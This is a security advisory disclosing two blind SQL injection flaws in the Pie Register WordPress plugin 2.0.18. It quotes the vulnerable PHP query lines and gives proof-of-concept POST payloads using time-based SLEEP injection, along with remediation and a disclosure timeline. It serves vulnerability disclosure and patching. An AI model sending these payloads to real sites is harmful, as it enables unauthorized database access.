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WordPress Pie Register 2.0.18 SQL Injection

WordPress Pie Register 2.0.18 SQL Injection
Posted Oct 12, 2015
Authored by David Moore

WordPress Pie Register plugin version 2.0.18 suffers from multiple remote blind SQL injection vulnerabilities.

tags | exploit, remote, vulnerability, sql injection
advisories | CVE-2015-7682
MD5 | f1599dd2e9ebb8862e67a67d0f4fba47

WordPress Pie Register 2.0.18 SQL Injection

Change Mirror Download

Details
================
Software: Pie Register
Version: 2.0.18
Homepage: https://github.com/GTSolutions/Pie-Register
CVE: CVE-2015-7682 (Pending)
CVSS: 3.5 (Low; AV:N/AC:M/Au:S/C:P/I:N/A:N)
CWE: CWE-89

Description
================
Two blind SQL injection vulnerabilities in Pie Register 2.0.18 allow SQL injection by admins leading to loss of database confidentiality. Pie Register is a WordPress plugin with over 10,000 active installs.

Vulnerabilities
================
The vulnerabilities are due to the unsanitized POST parameters invitaion_code_bulk_option and invi_del_id:

Injection 1:
>From pie-register/pie-register.php:
576: $this->delete_invitation_codes($_POST['select_invitaion_code_bulk_option']);
. . .
3521: $sql = "DELETE FROM `$codetable` WHERE `id` IN ( ".$ids." )";

Injection 2:
>From pie-register/pie-register.php:
1941: if($wpdb->query("DELETE FROM ".$codetable." WHERE id = ".$_POST['invi_del_id']))

Proof of concept
================
URL: http://localhost/wordpress/wp-admin/admin.php?page=pie-invitation-codes

Injection 1:
POST data:
select_invitaion_code_bulk_option=1)%20OR%20SLEEP(15)%3d0%20LIMIT%201--&invitaion_code_bulk_option=delete&btn_submit_invitaion_code_bulk_option=Apply

Injection 2:
POST data:
piereg_invitation_nonce=66e7e6383d&_wp_http_referer=%2Fwordpress%2Fwp-admin%2Fadmin.php%3Fpage%3Dpie-invitation-codes&invi_del_id=1%20OR%20SLEEP(15)%3d0%20LIMIT%201--

Remediation
================
Upgrade the plugin to version 2.0.19 or higher.

Timeline
================
2015-09-23: Discovered
2015-09-24: Contacted vendor via website support form
2015-09-28: Vendor supplied security contact email
2015-09-28: Requested CVE
2015-09-30: Report sent to vendor and wordpress.org
2015-10-02: Vendor releases version 2.0.19 on Github - confirmed fixed
2015-10-12: Public Disclosure

References
================
[1] http://codex.wordpress.org/Class_Reference/wpdb#Protect_Queries_Against_SQL_Injection_Attacks

Discovered by
================
David Moore @grajagandev

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